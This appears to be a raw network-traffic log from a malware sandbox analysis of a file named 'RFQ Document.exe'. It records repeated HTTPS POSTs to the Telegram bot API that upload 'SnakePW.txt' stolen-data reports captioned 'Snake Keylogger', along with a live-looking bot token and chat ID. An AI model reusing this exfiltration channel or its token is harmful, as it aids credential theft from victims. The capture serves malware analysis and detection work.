2021-09-28 06:00:07 UTC	545	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:07 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:07 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12929,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808807,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.4	50182	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:08 UTC	546	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fd24e880 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:08 UTC	546	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 64 32 34 65 38 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fd24e880Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:08 UTC	547	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:08 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:08 UTC	547	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12930,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808808,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.4	50183	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:08 UTC	548	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fd4b0f70 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:08 UTC	548	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 64 34 62 30 66 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fd4b0f70Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:08 UTC	548	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:08 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:08 UTC	549	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12931,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808808,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.4	50184	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:08 UTC	549	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fd654c02 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:08 UTC	550	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 64 36 35 34 63 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fd654c02Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:08 UTC	550	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:08 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:08 UTC	550	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12932,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808808,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.4	50185	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:08 UTC	551	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fd86a900 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:08 UTC	551	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 64 38 36 61 39 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fd86a900Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:08 UTC	552	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:08 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:08 UTC	552	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12933,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808808,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.4	50186	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:08 UTC	552	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fda345bf Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:08 UTC	553	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 64 61 33 34 35 62 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fda345bfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:09 UTC	553	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:09 UTC	554	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12934,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808809,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49811	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:27 UTC	55	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c61c73f5 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:27 UTC	56	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 36 31 63 37 33 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c61c73f5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:27 UTC	56	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:27 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:27 UTC	56	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12616,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808707,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.4	50187	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:09 UTC	554	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fdc4a9cf Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:09 UTC	554	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 64 63 34 61 39 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fdc4a9cfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:09 UTC	555	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:09 UTC	555	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 39 2c 22 64 Data Ascii: 